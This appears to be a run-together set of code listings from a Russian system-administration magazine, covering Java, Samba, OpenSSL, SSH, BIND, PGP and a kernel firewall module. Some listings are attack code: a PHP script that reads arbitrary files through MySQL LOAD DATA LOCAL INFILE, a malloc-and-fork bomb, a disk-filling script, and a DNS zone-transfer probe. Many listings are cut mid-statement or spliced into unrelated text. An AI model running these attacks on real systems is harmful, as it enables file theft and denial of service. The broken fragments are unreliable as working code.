FAQ по JAVA ВОПРОС: При автоматической конверсии вещественного числа... public static String toS(double v, int d) { return toS(v,d,false); } public static String toS(double v, int d, boolean exponentForm) // Параметр exponentForm позволяет получить // экспоненциальную форму записи { StringBuffer ptn= new StringBuffer("0"); if (d>0) { ptn.append("."); for (; d>0; d—) ptn.append("0"); } if (exponentForm) ptn.append("E0"); DecimalFormat f= new DecimalFormat( ptn.toString()); return f.format(v).replace(",",’.’); // без replace мы рискуем в некоторых // странах - например, в России - получить // десятичную запятую, а не точку } ВОПРОС: Как обеспечить автоматическое выполнение... Runtime.getRuntime().addShutdownHook(new Thread() { public void run() { необходимые действия; } } ВОПРОС: Фирма Sun и многие поклонники языка Java... for (; aofsb[bofs]) a[aofs]=b[bofs]; if (a[aofs+1]>b[bofs+1]) a[aofs+1]=b[bofs+1]; if (a[aofs+2]>b[bofs+2]) a[aofs+2]=b[bofs+2]; if (a[aofs+3]>b[bofs+3]) a[aofs+3]=b[bofs+3]; } ВОПРОС: Как правильно вывести в системную консоль многострочный текст? public static final String lineSeparator= System.getProperty("line.separator","\n"); System.out.println("1st line" +lineSeparator+"2nd line"); Создание PDC (Основного Контроллера Домена) для Windows на базе SAMBA 2.2.5 Андрей Гуселетов > rpm -ivh samba-2.2.5.rpm > tar xvzf samba-2.2.5.tar.gz > cd samba-2.2.5/source > ./configure —prefix=/usr \ > —bindir=/usr/bin \ > —sbindir=/usr/sbin \ > —libexecdir=/usr/libexec \ > —datadir=/usr/share/samba \ > —sysconfigdir=/etc/samba \ > —with-msdfs \ > —with-configdir=/etc/samba \ > —with-winbind > make > make install # /etc/samba/smb.conf # SAMBA configuration file # Created by GUS 04.08.2002 # Last updated : 05.08.2002 by GUS [global] ; Basic setting for our server ; NetBIOS name for our server netbios name = DREAM ; workgroup name, here - DOMAIN NAME workgroup = DREAMHOUSE ; server description string server string = DREAMHOUSE Primary Domain Controller running Samba %v ; PDC settings os level = 64 domain master = yes preffered master = yes local master = yes ; Security settings security = user encrypt passwords = yes domain logons = yes hosts allow = 127.0.0.1 10.150.150. ; Various logon settings ; path - where to store user profiles logon path = \\%N\profiles\%u ; home directory - where it is, and where it should be mounted logon drive = Z: logon home = \\homes\%u ; default domain logon script - generic script for all users ; NOTE : this is relative !!! DOS !!! path to the [netlogon] share logon script = start.cmd ; Netlogon share [netlogon] comment = Network logon service path = /home/netlogon browseable = No read only = yes write list = admin ; User’s home directories [homes] comment = Home Directories valid users = %S read only = No create mask = 0664 directory mask = 0775 browseable = No ; User’s profiles [profiles] path = /home/samba/profiles create mask = 0600 directory mask = 0700 browseable = No ; Printers [printers] comment = All Printers path = /var/spool/samba printable = Yes browseable = No > groupadd -g 200 admins > groupadd -g 201 machines > group -g 200 admins > group -g 201 machines > mkdir -m 0775 /home/netlogon > chown root.admins /home/netlogon > mkdir /home/samba /home/samba/profiles > chown 1757 /home/samba/profiles > useradd gus > passwd gus > New password: > Retype new password: > passwd: all authentication tokens updated successfuly > smbpasswd -a gus > New SMB password: > Retype new SMB password: > Added user gus > smbpasswd -e gus ; UNIX password syncing unix password sync = Yes passwd program = /usr/bin/passwd %u passwd chat = *New*UNIX*password* %n\n *Retype*new*UNIX*password* %n\n *Enter*new*UNIX*password* %n\n *Retype*new*UNIX*password* %n\n *passwd: *all*authentication*tokens*updated*successfully* >/usr/sbin/useradd -g machines -d /dev/null -c «machine nickname» -s /bin/false machine_name$ > passwd -l machine_name$ > Changing password for user machine_name$ > Locking password for user machine_name$ > /usr/sbin/useradd -g machines -d /dev/null -c «machine nickname» -s /bin/false machine_name > passwd -l machine_name > Changing password for user machine_name > Locking password for user machine_name > vipw >smbpasswd -a -m machine_name add user script = /usr/sbin/useradd -d /dev/null -g machines -s /bin/false -M %u > nmbd -D > smbd -D Теория и практика openssl Всеволод Стахов openssl speed md5 rsa idea blowfish des 3des sha1 # openssl rand 5 Wеб~ # openssl genrsa [-out file] [-des | -des3 | -idea] [-rand file] [bits] dd if=/dev/[u]random of=.rnd count=64 # openssl genrsa -out /etc/openssl/key.pem -des3 -rand /var/log/messages 4096 Generating RSA private key .....++*...++++++++* Enter PEM passphrase: Verify PEM passphrase: openssl rsa -in filename [-out file] [-des | -des3 |-idea] [-check] [-pubout] openssl rsa -in /etc/openssl/key.pem -out /etc/openssl/pubkey.pem -pubout openssl rsa -in /etc/openssl/key.pem -out /etc/openssl/key1.pem -idea openssl dsaparam [-rand file{s}] [-C] [-genkey] [-out file] numbits # openssl gendsa -out /etc/openssl/dsakey.pem -rand /boot/vmlinuz -idea paramfile Enter PEM passphrase: Verify PEM passphrase: # openssl dsa -in /etc/openssl/dsakey.pem -out /etc/openssl/pubdsakey.pem -pubout # openssl des3 -in file -out file.des3 # openssl des3 -d -in file.des3 -out file # openssl bf -a -in file -out file.bf64 # openssl md5 -c file MD5(file)= 81:fd:20:ff:db:06:d5:2d:c3:55:b5:7d:3f:37:ac:94 # openssl sha1 file SHA1(file)= 13f2b3abd8a7add2f3025d89593a0327a8eb83af openssl dgst -sign private_key -out signature -hashalg file[s] openssl dgst -signature signature -verify public_key file[s] openssl rsautl -in file -out file.cr -keyin pubkey.pem -pubin -encrypt openssl rsautl -in file.cr -out file -keyin secretkey.pem -decrypt PEM—>DER openssl x509 -inform PEM -in cert.pem -outform DER -out cert.cer DER—>PEM openssl x509 -inform DER -in cert.cer -outform PEM -out cert.pem [ req ] # Секция основных опций default_bits = 2048 # Число бит default_keyfile = keyfile.pem # Имя ключа, используемого для # сертификата distinguished_name = req_distin-guished_name # DN организации, выдавшей # сертификат prompt = no # Брать параметры из конфига # неинтерактивный режим [ req_distinguished_name ] # DN организации C=RU # Страна ST=Ivanovskaya # Область L=Gadukino # Город O=Krutie parni # Название организации OU=Sysopka # Название отделения CN=Your personal certificate # Имя для сертификата (персоны, # получающей сертификат) emailAddress=certificate@gaduk.ru # Мыло организации имя = подсказка имя_default = значение_по_умолчанию имя_max = максимум имя_min = минимум [ req ] default_bits = 1024 default_keyfile = privkey.pem distinguished_name = req_distin-guished_name [ req_distinguished_name ] countryName = Country Name (2 letter code) countryName_default = RU countryName_min = 2 countryName_max = 2 localityName = Locality Name (eg, city) organizationName = Organization Name( eg, org) organizationalUnitName = Organizational Unit Name (eg, section) commonName = Common Name (eg, YOUR name) commonName_max = 64 emailAddress = Email Address emailAddress_max = 40 openssl req -new -newkey rsa:2048 -keyout rsa_key.pem -config cfg -out certreq.pem openssl req -x509 -new -key private_key.pem -config cfg -out selfcert.pem -days 365 openssl x509 -in cert.pem -noout -text Certificate: Data: Version: 3 (0x2) Serial Number: 0 (0x0) Signature Algorithm: md5WithRSAEncryption Issuer: C=RU, ST=region, L=city, O=organization, OU=Sysopka, CN=CEBKA/Email=CEBKA@smtp.ru Validity Not Before: Nov 9 08:51:03 2002 GMT Not After : Nov 9 08:51:03 2003 GMT Subject: C=RU, ST=region, L=city, O=organization, OU=Sysopka, CN=CEBKA/Email=CEBKA@smtp.ru Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:c6:6b:3b:8e:f8:33:05:a0:dc:e1:38:8f:6a:68: 42:1c:21:33:aa:90:b6:8c:93:14:11:9b:69:94:8a: 3a:0e:42:29:b0:45:14:1b:f0:37:2c:f3:05:db:13: 06:a9:cd:eb:99:31:51:25:86:c8:69:e0:5e:8d:28: 04:8d:1f:08:37:d7:72:39:fe:05:57:61:68:95:bf: 5c:ae:13:f2:05:a1:29:c3:bf:3b:32:ca:1a:ff:22: 53:f9:32:92:78:fe:44:c3:e1:ca:42:5c:5f:d1:49: da:1c:9f:34:06:04:ee:46:74:8d:11:68:ef:37:e2: 74:1e:d9:46:04:b8:7e:d5:c5 Exponent: 65537 (0x10001) Signature Algorithm: md5WithRSAEncryption 3b:42:85:45:08:95:f3:f1:fc:8a:23:88:58:0e:be:e5:9b:56: 1e:c1:ff:39:28:4f:84:19:f8:3e:38:ef:98:34:d6:ee:e0:0a: de:36:3a:5c:15:88:d7:2a:a4:0a:d5:dc:3e:b2:72:4c:82:57: b8:fe:52:f6:e2:06:01:38:eb:00:0b:f2:a9:87:be:65:83:19: 13:50:ae:6c:f2:0a:07:14:e6:8c:60:cd:c5:a3:d1:e1:ea:da: 24:c2:6a:06:d5:dc:1c:71:c9:64:fa:9e:c9:ca:97:e2:06:84: de:4c:69:b8:9a:af:66:14:8d:46:9a:00:53:13:c9:ab:10:b8: 09:c2 openssl x509 -req -in clientreq.pem -extfile /usr/lib/ssl/openssl.cnf \ -extensions /usr/lib/ssl/openssl.cnf -CA CAcert.pem -CAkey serverkey.pem \ -CAcreateserial -out clientcert.pem openssl x509 -in CAcert.pem -addtrust sslclient -alias «myorganization CA» \ -out CAtrust.pem openssl genrsa -out CAkey.pem -rand randfile -des3 4096 openssl req -new -x509 -key CAkey.pem -out CAcert.pem -days 365 -config cfg #!/bin/bash dd if=/dev/random of=/tmp/.rnd count=64 RAND="/var/log/messages:/boot/vmlinuz:/tmp/.rnd" REQ="openssl req" X509="openssl x509" RSA="openssl rsa" GENRSA="openssl genrsa" O="company" C="RU" ST="region" L="city" PURPOSES="digitalSignature, keyEncipherment" CERTTYPE="client, email, objsign" CA="/etc/openssl/CAcert.pem" CAkey="/etc/openssl/CAkey.pem" OUTDIR="/etc/openssl/clientcert/" CN="client" BITS=2048 DAYS=365 #Создаём секретный ключ во временной папке БЕЗ шифрования TMP="/tmp/ssl-$$" mkdir $TMP if [ ! -d $OUTDIR ];then mkdir $OUTDIR fi pushd $TMP > /dev/null $GENRSA -rand $RAND -out tmp.key $BITS # Создаём конфиг для клиента cat > cfg < /dev/null rm -fr $TMP exit $? fi # Подписываем сертификат сертификатом сервера $X509 -req -in $CN.pem -CA $CA -CAkey $CAkey \ -extfile cfg -days $DAYS -out $OUTDIR$CN.pem chmod 0400 $OUTDIR$CN.pem chown root:root $OUTDIR$CN.pem # Шифруем секретный ключ $RSA -in tmp.key -des3 -out $OUTDIR$CN-key.pem chmod 0400 $OUTDIR$CN-key.pem chown root:root $OUTDIR$CN-key.pem # Выполняем заключительные действия popd > /dev/null rm -fr $TMP echo -e "Generation complete, go to $OUTDIR and give to client $CN his certificate and \ \n private key(for windows users you should use openssl pkcs12 utility)" openssl pkcs12 -export -in client.pem -inkey client-key.pem -out client.p12 \ -name "Client certificate from our organization" openssl pkcs12 -in client.p12 -out client.pem openssl smime -sign -in mail.txt -text -from CEBKA@smtp.ru -to \ user@mail.ru -subject "Signed message" -signer mycert.pem -inkey \ private_key.pem | sendmail user@mail.ru openssl smime -verify -in mail.msg -signer user.pem -out signedtext.txt openssl smime -encrypt -in mail.txt -from CEBKA@smtp.ru -to user@mail.ru \ -subject "Encrypted message" -des3 user.pem | sendmail \ user@mail.ru openssl smime -decrypt -in mail.msg -recip mycert.pem -inkey private_key.pem \ -out mail.txt openssl smime -verify -inform [PEM | DER] -in signature.pem[der] -content \ mail.txt Bag Traq Чтение произвольных файлов в PHP + mySQL (локальный эксплоит) "; mysql_connect ($dbhost, $dbuser, $dbpasswd); $sql = array ("USE $dbname", 'CREATE TEMPORARY TABLE '. ($tbl = 'A'.time()) . ' (a LONGBLOB)', "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS ". "TERMINATED BY '__THIS_NEVER_HAPPENS__' ". "ESCAPED BY'' ". "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", "SELECT a FROM $tbl LIMIT 1"); foreach ($sql as $statement) { $query = mysql_query ($statement); if ($query == false) die ("FAILED: " . $statement . "\n" . "REASON: " . mysql_error () . "\n"); if (! $r = @mysql_fetch_array ($query, MYSQL_NUM)) continue; echo htmlspecialchars($r[0]); mysql_free_result ($query); } echo " "; ?> Выполнение произвольных программ в iPlanet Web Server Ы.Ы.Р. Всеволод Cтахов user1.test.ru user1 userstend.test.ru user1 null.test.ru user1 /etc/shhosts.equiv + user1.test.ru user1 – server.test.ru xakep * /etc/ssh/ssh_known_hosts и $HOME/.ssh/known_hosts user1.test.ru {SOME_VERY_LONG_PUBLIC_KEY} -b: ssh-keygen -t rsa -b 2048 -f $HOME/.ssh/id_rsa # ssh-copy-id -i public_key_file user@machine # Определение хоста, в данном случае включает все хосты домена test.ru, можно использовать одиночный символ «*» чтобы указать параметры доступа к любому хосту Host *.test.ru # Эта опция определяет, будет ли ssh использовать передачу данных от удалённого X сервера через свой безопасный канал. Далее будет описано, каким образом организуются безопасные туннели через ssh. Данная возможность позволяет защищать по идее небезопасные протоколы(X, pop, smtp, ftp) шифрованием ssh. По умолчанию данная опция – no ForwardX11 yes # Список предпочтительных методов аутентификации через ssh версии 2. Первым стоит самый предпочтительный протокол, думаю, значения данного параметра ясны PreferredAuthentications hostbased, publickey,keyboard-interactive # Этот параметр определяет, будет ли производится стандартная парольная проверка. По умолчанию – yes. PasswordAuthentication yes # Число попыток ввода пароля перед тем, как клиент отсоединяется от сервера. По умолчанию пароль можно вводить трижды NumberOfPasswordPrompts 3 # Список допустимых пользователей для данного сервера. Можно применять два формата: список пользователей, разделённых пробелом, и список пользователей и хостов, разделённых пробелом (USER@HOST - разрешает данному пользователю доступ только с данного адреса). Можно использовать выражения «*» и «?». Подобное же назначение имеют опции AllowGroups, DenyUsers и DenyGroups(для групп нельзя указывать адрес клиента) AllowUsers *@*.test.ru DenyUsers xakep lamer DenyGroups x* # Использование ssh(2 версия) аутентификации через rhosts и RSA ключи. По умолчанию – no HostbasedAuthentication yes # Будет ли клиент пытаться работать по rsh, если ssh недоступен или по каким-то причинам работает неправильно. По умолчанию – no FallBackToRsh no # Используем ли rsh. По умолчанию – no UseRsh no # Режим скрипта, когда не спрашиваются пароли с терминала. По умолчанию – no BatchMode no # Дополнительно проверяется ключ хоста удалённой машины в known_hosts, что исключает подмену ip. По умолчанию – yes CheckHostIP yes # Данный параметр означает, будет ли клиент доверять полученным от серверов ключам. Параметр может принимать следующие значения: yes - ключи никогда автоматически не помещаются в known_hosts, ask - ключ может быть помещён в known_hosts только после подтверждения пользователя, no - все ключи автоматически размещаются в known_hosts (небезопасно). По умолчанию – ask StrictHostKeyChecking ask # Следующие параметры определяют секретные ключи ssh различных форматов: rsa и dsa IdentityFile $HOME/.ssh/id_rsa IdentityFile $HOME/.ssh/id_dsa # Порт, на удалённой машине используемый ssh. По умолчанию 22 Port 22 Версии протоколов, используемые клиентом в порядке убывания приоритета Protocol 2 # Протокол шифрования для версии 1 протокола ssh Cipher 3des # Возможные протоколы шифрования в порядке убывания приоритета для протокола версии 2 Ciphers aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc # Значение escape-символа, сигнализирующего, что идущие за ним символы необходимо воспринимать специальным образом (например ~. вызовет немедленное отключение клиента от сервера) при передаче двоичных данных необходимо установить этот параметр в none, что выключает escape последовательности. По умолчанию ~ EscapeChar ~ # Управление работой компрессии зашифрованнного трафика. Полезный параметр для медленных сетей, т.к. зашифрованные данные обычно увеличиваются в размере за счёт фиксированной длины ключа. Компрессия позволяет уменьшить количество данных, передаваемых через сеть, но увеличит время работы самого протокола. Так что включать этот параметр желательно на медленных соединениях. По умолчанию – no Compression yes # Управляет посылкой сообщений о доступности клиента серверу, что позволяет нормально разорвать соединение, если произошла неполадка в сети или иная, приведшая к разрыву соединения. Если связь плохая, то лучше эту опцию отключить, чтобы дисконнект не происходил после каждой ошибки сети. По умолчанию – yes KeepAlive yes # Номер порта и версия протокола Port 22 Protocol 2 # Адреса, на которых слушает сервер, можно также указывать порт (server.test.ru:2022), но назначение ssh нестандартного порта нецелесообразно, т.к. заинтересует потенциальных взломщиков («А чего это там они прячут?») ListenAddress server.test.ru # Ключ сервера для протокола версии 1 HostKey /etc/ssh/ssh_host_key # Ключи rsa и dsa для ssh версии 2 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_dsa_key # Данные значения определяют длину ключа сервера и его время жизни для использования ssh версии 1 (данный ключ будет заново генерироваться через заданное время) KeyRegenerationInterval 3600 ServerKeyBits 768 # Далее определяем методы аутентификации для данного сервера и её параметры. # Сервер отсоединяется по происшествии данного времени в секундах, если клиент не проходит аутентификацию LoginGraceTime 600 # Разрешаем заходить по ssh руту. Долгое время эта тема обсуждалась на форуме, но я думаю всё же, что со внутренней сети рут может заходить и по ssh (для этого надо настроить должным образом iptables). Также можно запретить руту входить по паролю: without-password, разрешая вход только по публичному ключу PermitRootLogin yes #Проверка sshd прав доступа и владельцев домашних каталогов. Полезно для тех пользователей, что дают права всему 0777. Хотя таких болванов лучше держать на расстоянии от сервера (лучше всего это делать бревном, подвешенным в серверной к потолку, чтобы придать нежеланному гостю должное ускорение, и не забудьте оббить конец бревна какой-нибудь железкой, иначе брёвна придётся менять лишком часто) StrictModes yes # Аутентификация через RSA (версия 1) RSAAuthentication yes # Аутентификация пользователя по ключу (версия 2) PubkeyAuthentication yes # Определяет публичный ключ пользователя для аутентификации по ключу. Можно применять шаблоны: %u – имя пользователя, %h – домашний каталог пользователя AuthorizedKeysFile .ssh/ authorized_keys # Не используем аутентификацию rhosts RhostsAuthentication no # Можно также игнорировать rhosts и shosts при hostbased autentification, используя только known_hosts файл IgnoreRhosts yes # Используем ли аутентификацию через known_hosts совместно с .rhosts или .shosts. Опция действительна только для протокола версии 1 RhostsRSAAuthentication no # То же самое, что и предыдущее только для версии 2 HostbasedAuthentication yes # Если нет доверия к known_hosts, то их можно не использовать при hostbased autentification. По умолчанию – no IgnoreUserKnownHosts no # Чтобы запретить посылку хешей паролей через туннель ssh задайте значение данной опции no. По умолчанию аутентификация по паролю разрешена PasswordAuthentication yes # Можно также разрешить пустые пароли, но это полный отстой, т.к. это огромная дыра на сервере, через которую можно наделать много гадостей! Поэтому должно быть – no (по умолчанию) PermitEmptyPasswords no # Аутентификация через механизм PAM PAMAuthenticationViaKbdInt no # Передача протокола иксов через туннель ssh X11Forwarding yes # Используем в качестве x-сервера данный, т.е. клиент, запуская у себя x-клиента будет фактически использовать наш сервер, но все данные от сервера к клиенту будут шифроваться, что есть хорошо! X11UseLocalhost yes # При логине пользователя выводим /etc/motd: в некоторых системах это отменено в целях безопасности PrintMotd yes # Сообщаем пользователю время и место последнего логина, ситуация, аналогичная предыдущей PrintLastLog yes # Посылать клиенту сообщения о доступности KeepAlive yes # Максимальное число возможных соединений, где не произошло аутентификации. Если клиентов, не прошедших аутентификацию больше, то новые соединения не будут обрабатываться MaxStartups 10 # Путь к файлу, который будет отображаться при входе клиента ДО аутентификации Banner /etc/ssh_message # Проверка соответствия ip-адреса клиента и его символического имени в backzone, затем снова сравнение имени с ip адресом. Таким образом (извращённым) проверяется подлинность ip, но метод этот достаточно тормозной и по умолчанию он отключен VerifyReverseMapping no # Новые системы, работающие через ssh. В данном примере определяется «безопасный» ftp сервер – sftp, аналогичный доступ пользователя, но с возможностью передачи файлов (т.е. пользователь получает доступ ко всем своим файлам и нет возможности настройки разрешений и виртуальных пользователей, как, например в proftpd). По сути дела, подсистемы ssh могут обеспечивать прохождение других протоколов по сети, но под «крылышком» ssh. Например, для sftp-сервера есть одноимённый sftp-клиент. Его интерфейс полностью идентичен оригинальному ftp, но с одним отличием: происходит та же самая аутентификация пользователя на удалённом сервере (методами ssh), но вместо оболочки с пользователем взаимодействует подсистема, в данном случае sftp. Subsystem sftp /usr/lib/ssh/sftp-server - L{LOCAL_PORT}:{LOCAL_ADDRESS}: {REMOTE_PORT}: # ssh -L10101:localhost:101 server.test.ru # ssh -f -L10101: loclahost:101 server.test.ru sleep 100 # ssh-keygen -t rsa -b 4096 # ssh-copy-id -i $HOME/.ssh/id_rsa remote_host IgnoreHosts yes RhostsAuthentication no RhostsRSAAuthentication no RSAAuthentication yes HostbasedAutentification no PasswordAuthentication no PermitEmptyPasswords no UseLogin no PermitRootLogin without-password Protocol 2 # ssh-agent bash # ssh-add Enter passphrase for “.ssh/id_rsa”: Enter passphrase for “.ssh/id_dsa”: .ssh/identity : No such file or directory Общий обзор наиболее часто применяемых техник компьютерных атак и защиты от них Александр Потёмкин Листинг программы LocalDoS.c: #include main () { while(1) /*Бесконечный цикл*/ { malloc(10000); /*Из помощи man: calloc, malloc, free, realloc – Allocate and free dinamic memory – занимаем определённый объём памяти*/ fork(); /*Оттуда же: fork – create a child process – и создаём много дочерних процессов (порождёных процессом-родителем)*/ } } Листинг программы Echo.c : #include void main() { while (1) printf («X»); /*Печатаем символ “X”*/ } Листинг disk_DoS.sh : #!/bin/sh ./echo > /tmp/. Листинг программы Echo.c : #include void main() { while (1) printf («X»); /*Печатаем символ “X”*/ } Листинг disk_DoS.sh : #!/bin/sh ./echo > /tmp/. ipchains -P input DENY ipchains -O output REJECT ipchains -P forward REJECT #client ipchains -A output -i $EXTERNAL_INTERFACE -p tcp -s $IPADDR $UNPRIVPORTS -d $ANYWHERE 80 -j ACCEPT ipchains -A input -i $EXTERNAL_INTERFACE -p tcp ! -y -s $ANYWHERE 80 -d $IPADDR $UNPRIVPORTS -j ACCEPT #server ipchains -A input -i $EXTERNAL_INTERFACE -p tcp -s $ANYWHERE $UNPRIVPORTS -d $IPADDR 80 -j ACCEPT ipchains -A output -i $EXTERNAL_INTERFACE -p tcp ! -y -s $IPADDR 80 -d $ANYWHERE $UNPRIVPORTS -j ACCEPT где $EXTERNAL_INTERFACE — название интерфейса, обращённого к внешней сети, $IPADDR — адрес сервера, $ANYWHERE — любой возможный адрес сети, $UNPRIVPORTS — номера непривилегированных портов (с 1024 по 65535). Минимум усилий на защиту DNS Сергей Ропчан fenix# nslookup Nameserver 192.145.45.1 >server www.target.com >ls -d target.com [main.target.com] $ORIGIN target.com. @ 1D IN SOA ns root ( 2001081109 ;serial 8H ;refresh 2H ;retry 1W ;expiry 1D ) ;minimum 1D IN NS ns 1D IN NS r1.ns.net. 1D IN NS r2.ns.com. 1D IN MX 20 m1.ns.net 1D IN MX 10 m2.ns.com 1D IN MX 10 main c4 1D IN A 192.5.62.78 admin 1D IN A 192.5.62.74 localhost 1D IN A 127.0.0.1 mail 1D IN CNAME main proxy 1D IN CNAME main www 1D IN CNAME main c1 1D IN A 192.5.62.75 c2 1D IN A 192.5.62.76 c3 1D IN A 192.5.62.77 ns 1D IN A 192.5.62.73 ftp 1D IN CNAME main @ 1D IN SOA ns root ( 2001081109 ;serial 8H ;refresh 2H ;retry 1W ;expiry 1D ) ;minimum acl "trusted" { localhost; 192.168.3.0; }; options { ... #определения прав доступа по умолчанию allow-query { trusted }; ## разрешить запросы группе ## «доверенных» хостов allow-transfer { none }; ## запретить пересылку ## файла зоны кому-либо allow-recursion { trusted }; ## pазрешить рекурсивные ##запросы группе «доверенных» хостов ... }; zone "example.com" { type master; file "primary/example.com"; #переопределение прав доступа, заданных по умолчанию в options allow-query { any; }; allow-transfer { localhost; 192.168.3.0; }; В }; zone "3.168.192.in-addr.arpa" { type slave; file "secondary/0.126.in-addr.arpa"; masters { 192.168.3.1; } ; #переопределение прав доступа, заданных по умолчанию в options allow-query { any; }; allow-transfer { localhost; }; }; }; zone "bind" chaos { type master; file "primary/bind"; allow-query { trusted }; allow-transfer { none; }; }; $TTL 3600 $ORIGIN bind. @ 1D CHAOS SOA localhost. root.localhost. { 1 ;serial 3H ;refresh 1H ;retry 1W ;expire 1D ) ;minimum CHAOS NS localhost/ ; logging { # определяем канал по умолчанию для ведения # логов запросов к bind’y channel default_ch { file "/var/log/named.log"; serverity info; #уровень важности регистра #ционной информации print-time yes; #регистрировать время print-category yes; #регистрировать категорию }; channel security_ch { #определяем канал для ведения логов по защите file "/var/log/security.log"; serverity info; print-time yes; print-category yes; }; ##инициализация каналов category default { default_ch; }; category security { security_ch; }; }; Защитим электронную почту ! Всеволод Стахов ——BEGIN PGP PUBLIC KEY BLOCK—— Version: 2.6 mQEPAz2wAdcAAAEIAMbtzluSULSrU3X1 qvf9QBeY+VCI7Pe/Wi0eSun8g7do9V0q .... ——END PGP PUBLIC KEY BLOCK—— ——BEGIN PGP SIGNED MESSAGE—— Hash: MD5 ТЕКСТ_СООБЩЕНИЯ ——BEGIN PGP SIGNATURE—— Version: 2.6 iQEVAwUAPcbEbnuMbS82Jh/FAQFWvwf/ aJEiMj/mUPlHzNLIelDMwJZMxK+9UuBL ——END PGP SIGNATURE—— ——BEGIN PGP MESSAGE——Version: 2.6 lIwRIouHmq+nJjsBBEA7FCH1rS6C/ hfi4J1MHN+q/EycFltExRTqjIcOtoiDYNvJ ——END PGP MESSAGE—— Content-Type: multipart/signed; protocol=»application/pkcs7-signature»; micalg=sha1; boundary=» —————C61031FF2231ECF0" This is a cryptographically signed message in MIME format. ——————C61031FF2231ECF0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit Текст Письма ——————C61031FF2231ECF0 Content-Type: application/pkcs7-signature; name=»smime.p7s» Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=»smime.p7s» Content-Description: S/MIME Cryptographic Signature MIIFPQYJKoZIhvcNAQcCoIIFLjCCBSoCAQMx CzAJBgUrDgMCGgUAMAsG CSqGSIb3DQEHAaCCAyow ... ——————C61031FF2231ECF0— JAVA: МАГИЯ ОТРАЖЕНИЙ Часть II. ClassLoader – скрытые возможности Даниил Алиевский java Имя_главного_класса public static ClassLoader getSystemClassLoader() java Имя_главного_класса public static void main(String[] argv) public ClassLoader getClassLoader() public static Class forName(String name, boolean initialize, ClassLoader loader) static { ... } public static Class forName(String className) Class.forName(name) Class.forName(name,true, Текущий_класс.class.getClassLoader()) Class clazz= Class.forName("Имя_класса",true, Мой_нестандартный_загрузчик); clazz.newInstance(); // создаем экземпляр класса public static ClassLoader getSystemClassLoader() public Class loadClass(String name) protected synchronized Class loadClass(String name, boolean resolve) Class.forName("Имя_класса",true,loader) public URL getResource(String name) public InputStream getResourceAsStream(String name) public final Enumeration getResources(String name) public static URL getSystemResource(String name) public static InputStream getSystemResourceAsStream( String name) public static Enumeration getSystemResources(String name) protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException protected Class findClass(String name) throws ClassNotFoundException protected java.net.URL findResource(String name) protected java.util.Enumeration findResources(String name) throws IOException protected final Class defineClass(String name, byte[] b, int off, int len) throws ClassFormatError import java.io.*; public class DynamicClassOverloader extends ClassLoader { private java.util.Map classesHash= new java.util.HashMap(); public final String[] classPath; public DynamicClassOverloader(String[] classPath) { // Набор путей поиска - аналог переменной CLASSPATH this.classPath= classPath; } protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException { Class result= findClass(name); if (resolve) resolveClass(result); return result; } protected Class findClass(String name) throws ClassNotFoundException { Class result= (Class)classesHash.get(name); if (result!=null) { /* System.out.println("% Class "+name +" found in cache"); /* return result; } File f= findFile(name.replace('.','/'),".class"); // Класс mypackage.MyClass следует искать // файле mypackage/MyClass.class /* System.out.println("% Class "+name +(f==null?"":" found in "+f)); /* if (f==null) { return findSystemClass(name); // Обращаемся к системному загрузчику в случае неудачи. // findSystemClass - это метод абстрактного класса // ClassLoader с объявлением // protected final Class findSystemClass(String name) // (т.е. предназначенный для использования // в наследниках и не подлежащий переопределению). // Он выполняет поиск и загрузку класса по // алгоритму системного загрузчика. Без вызова // "findSystemClass(name)" нам пришлось бы // самостоятельно позаботиться о загрузке всех // стандартных библиотечных классов типа // java.lang.String, что потребовало бы // реализовать работу с JAR-архивами // (стандартные библиотеки почти всегда упакованы в JAR) } try { byte[] classBytes= loadFileAsBytes(f); result= defineClass(name, classBytes,0,classBytes.length); } catch (IOException e) { throw new ClassNotFoundException( "Cannot load class "+name+": "+e); } catch (ClassFormatError e) { throw new ClassNotFoundException( "Format of class file incorrect for class " +name+": "+e); } classesHash.put(name,result); return result; } protected java.net.URL findResource(String name) { File f= findFile(name,""); if (f==null) return null; try { return f.toURL(); } catch(java.net.MalformedURLException e) { return null; } } private File findFile(String name, String extension) { // Поиск файла с именем name и, возможно, расширением // extension в каталогах поиска, заданных параметром // конструктора classPath. Имена подкаталогов в name // разделяются символом '/' – даже если в операционной // системе принят другой разделитель для подкаталогов. // (Именно в таком виде получает свой параметр метод // findResource.) for (int k=0; k Well, hello there, #myName# БРАНДМАУЭР Владимир Мешков # ifdef CONFIG_SF_FIREWALL # include # endif # ifdef CONFIG_SF_FIREWALL int err; # endif # ifdef CONFIG_SF_FIREWALL if ((err=sf_fw_chk(iph,dev,SF_STATE_RECEIVE))!=1) { kfree_skb(skb); return 0; } # endif #define SF_RC_ACCEPT 1 - разрешить прием пакета #define SF_RC_BLOCK 0 - блокировать прохождение пакета #define SF_STATE_RECEIVE 0- идентификатор приемной функции протокола IP extern int sf_fw_chk_pass(struct iphdr *, struct net_device *, int); extern int sf_fw_chk_block(struct iphdr *, struct net_device *, int); extern int (*sf_fw_chk)(struct iphdr *, struct net_device *, int); #include #include #include #include #include #ifdef CONFIG_SF_FIREWALL int (*sf_fw_chk)(struct iphdr *ip, struct net_device *rif, int opt) = sf_fw_chk_pass; int sf_fw_chk_pass(struct iphdr *ip, struct net_device *rif, int opt) { return SF_RC_ACCEPT; } int sf_fw_chk_block(struct iphdr *ip, struct net_device *rif, int opt) { return SF_RC_BLOCK; } #endif /* CONFIG_SF_FIREWALL */ #ifdef CONFIG_SF_FIREWALL #include #endif #ifdef CONFIG_SF_FIREWALL EXPORT_SYMBOL(sf_fw_chk_pass); EXPORT_SYMBOL(sf_fw_chk_block); EXPORT_SYMBOL(sf_fw_chk); #endif bool 'SF_FIREWALL SUPPORT' CONFIG_SF_FIREWALL mknod /dev/firewall c 44 0 #include #include #include #include #include #include #include #include #include #define FIREWALL_MAJOR 44 – старший номер устройства. struct data_log { __u32 addr; int action; int ready; } *sf_entry_log; int init_module(void) { if (register_chrdev 